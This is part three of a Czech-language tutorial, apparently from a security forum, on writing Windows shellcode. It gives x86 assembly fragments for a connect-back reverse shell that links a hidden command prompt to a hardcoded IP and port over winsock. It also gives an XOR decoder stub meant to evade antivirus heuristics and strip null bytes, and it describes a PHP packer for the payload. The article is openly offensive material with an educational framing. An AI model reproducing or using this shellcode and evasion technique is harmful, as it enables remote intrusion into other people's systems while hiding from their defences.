Exploitování – tvorba shellkódu 3. část

Vložil/a Juzna [1], 3 Únor, 2006 - 12:44

- Cracking [2]
- Hacking [3]
- Programming [4]

Tak dneska pokračujeme v článku. Jelikož jsem slyšel ohlasy že to nemá s hackingem nic společného, že to je učebnice assembleru, nebudu tady už tak dopodrobna vysvětlovat kód.

Celý kód si můžete sosnout na http://www.juzna.com/sploit03.asm [5] a v něm jsou komentáře, které by vám měli stačit. Nebudu zde teda popisovat všechno, ale jen části.

Abychom navázali na minulý díl: Máme v pozadí spuštěnou příkazovou řádku, teďka ještě udělat to připojování na určitý port. Pomocí knihovny winsock a funkcí WSAData a socket vytvoříme socket, přez který se budeme připojovat. Funkci socket voláme s paramety socket(AF_INET, SOCK_STREAM, IPPROTO_IP), což odpovídá hodnotám 2, 1 a 0. Mohli bychom tedy napsat kód:

```
push 0
push 1
push 2
call dword ptr ds:[edi-14h] ; socket
```

Abychom však ztížili práci heuristice v antivirových programech a také tomu, kdo bude po nás program luštit, to ovšem můžeme udělat takto:

```
xor eax, eax ; eax = 0
push eax
inc eax ; eax = 1
push eax
inc eax ; eax = 2
push eax
call dword ptr ds:[edi-14h] ; socket
```

Výsledek je stejný. Druhý kód je sice ve výsledku o jeden bajt delší, ale na druhou stranu znesnadňuje pohopení kódu a hlavně neobsahuje žádný nulový znak. První kód tento nulový znak obsahuje při použití intrukce push 0 (což by mohlo někdy vadit).

Nyní se pomocí winsocku připojíme. Mohli bychom volat funkci connet přímo s IP a portem parametry, ale aby bylo možné IP a port jednoduše upravit pomocí dalšího programu, vyřešil jsem to takto:

```
call pripojeni
db "IP:"
db 192, 168, 1, 243 ; IP
db 0, 123 ; Port, opacna endianita
pripojeni:
pop eax
```

Tím získáme do eax adresu na string “IP:”, který nemá pro náš exploit žádný význam, ale podle něj najdeme v kódu IP adresu a port. Logicky na adrese eax+3 je IP adresa a na eax+7 je port.

Následuje pracovní smyčka, která pomocí funkce PeekNamedPipe zkontroluje zda na první rouře

(výstup z příkazové řádky) jsou nějaká data. Pokud jsou nějaká data k dispozici, pomocí ReadFile je přečteme do předem připraveného bufferu a následně pošleme funckí send přes připojený socket. Nadruhou stranu pokud na výstupu příkazové řádky nic není, podíváme se zda něco nemáme na socketu. Pokud ano, pak tato data zapíšeme na vstup příkazové řádky. Nakonec chvíli počkáme abychom nežrali moc výkonu procesoru a smučku opakujeme. Pokud nám nastane nějaká chyba, socket uzavřeme a skončíme.
Tato část myslím nemá cenu nijak rozebírat, vše se dá jednoduše pochopit ze zdrojového kódu.

Na ukončení exploitu použijeme v buď funkci ExitProcess nebo ExitTherad, která ukončí aktuální proces (resp. vlákno). Vybereme sem tu funkci, kterou bude lepší použít. Někdy je totiž lepší po skončení naší příkazové řádky ukončit celý proces (tzn celou exploitovanou aplikaci) a jindy se hodí ukončit jen běžící vlákno a aplikace může pokračovat ve svém běhu jako by se nic nestalo. Ke změně použité funkce stačí akorát přepsat vyhledávaný název funkce v seznamu hledaných funkcí (viz 2. část článku).

Vychytávky a vylepšení

- Polymorfismus, zašifrování kódu
Polymorfismus je často používaná metoda jak ke ztížení pochopení kódu (pro lidi i antivirové programy), tak abychom se zbavili nulových bajtů, které by nám mohli ukončit řetězec a s ním celý exploit.

```
jmp skok

dal:
jmp ukazatel

skok:
call dal
ukazatel:

pop eax ; Adresa na ukazatel
sub eax, ukazatel-kod ; Odectenim ziskame adresu na zacatek kodu

xor ecx, ecx
mov cx, 3412h ; Zde se dosasi delka


smycka:
    xor byte ptr:[eax], 95
    inc eax
loop smycka
```

Začátek kódu se na první pohled může zdát docela složitý kvůli několika instrukcím skoku a volání. Logicky si každý řekne že bychom přece místo těch všech skoků použít jen volání na návěští, které by bylo ihned za instrukcí tohoto volání. To má pravdu, avšak tato instrukce by obsahovala hned 4 nulové bajty. To je pro nás velice nevýhodné. Abychom neměli žádné nulové bajty, musíme volat na místo před samotným voláním. Pak totiž adresa kam se má volat bude záporná, v našem případě FFFFFFF9. Tím jsme se zbavili nul. Proto takto složité skoky.

Následně si adresu pro návrat uložíme a přičteme k ní délku dešifrovacího kódu (resp. odečteme zápornou délku, zase kvůli nulovým bajtům). Dále do ecx uložíme kolik bytů se má dešifrovat (stačí nám zapisovat do cx, protože očekáváme že exploit se vleze do 65kB). A nakonec následuje smyčka který každý znak vyxoruje určitou hodnotou. Ta může být samozřejmě libovolná, pokusem si zvolíme takovou aby zašifrovaný exploit neobsahoval žádné nulové znaky.

Teď si ještě musíme udělat krátký prográmek který nám zašifruje vlastní kód exploitu, nastaví k němu zavaděč (přepíše v něm délku kódu a číslo pro xorování) a nakonec je spojí a uloží. Pro tento

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

účel jsem si napsal kus kódu v PHP, který navíc nastaví i IP adresu a port ve vlastním kódu exploitu. I s kódem zavaděče a zkompilovaným shell kódem si jej můžete stáhnout na adrese www.juzna.com/zavadec.zip [6]

Checksumy názvů funkcí

Pokud používáme v kódu více funkcí z jiných knihoven, často se místo hledání podle názvu používá hledání podle checksumů. To spočívá v tom, že si upravíme kód který hledá funkci GetProcAddr tak, aby nekontroloval přímo název, ale tento název nějak překombinoval na číslo. Zjednodušeně, může třeba sečíst ascii kódu všech znaků (ovšem takto jednoduchá metoda by nám pak dala pro více funkcí stejný chceksum a proto bychom nemohli jednoznačně definovat funkci). Tímto postupem ušetříme místo, jelikož řetězec s názvem funkce nahradíme (v praxi nejčastěji) 4bajtovým číslem.

Ovšem pro snadnější pochopení jsem použil metodu jakou jsem použil a momentálně nemám žádný kus kódu kde bych podle checksumů hledal funkce, takže snad prominete že to zde bude tak trošku chybět.

Související články:
Exploitování – tvorba shellkódu 1. část [7]
Exploitování – tvorba shellkódu 2. část [8]

URL článku:
https://security-portal.cz/clanky/exploitov%C3%A1n%C3%AD-%E2%80%93-tvorba-shellk%C3%B3du-3-%C4%8D%C3%A1st

Odkazy:
[1] https://security-portal.cz/users/juzna
[2] https://security-portal.cz/category/tagy/cracking
[3] https://security-portal.cz/category/tagy/hacking
[4] https://security-portal.cz/category/tagy/programming
[5] http://www.juzna.com/sploit03.asm
[6] http://www.juzna.com/zavadec.zip
[7] http://www.security-portal.cz/clanky/exploitovani--tvorba-shellkodu-1-cast.html
[8] http://www.security-portal.cz/clanky/exploitovani--tvorba-shellkodu-2-cast.html

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn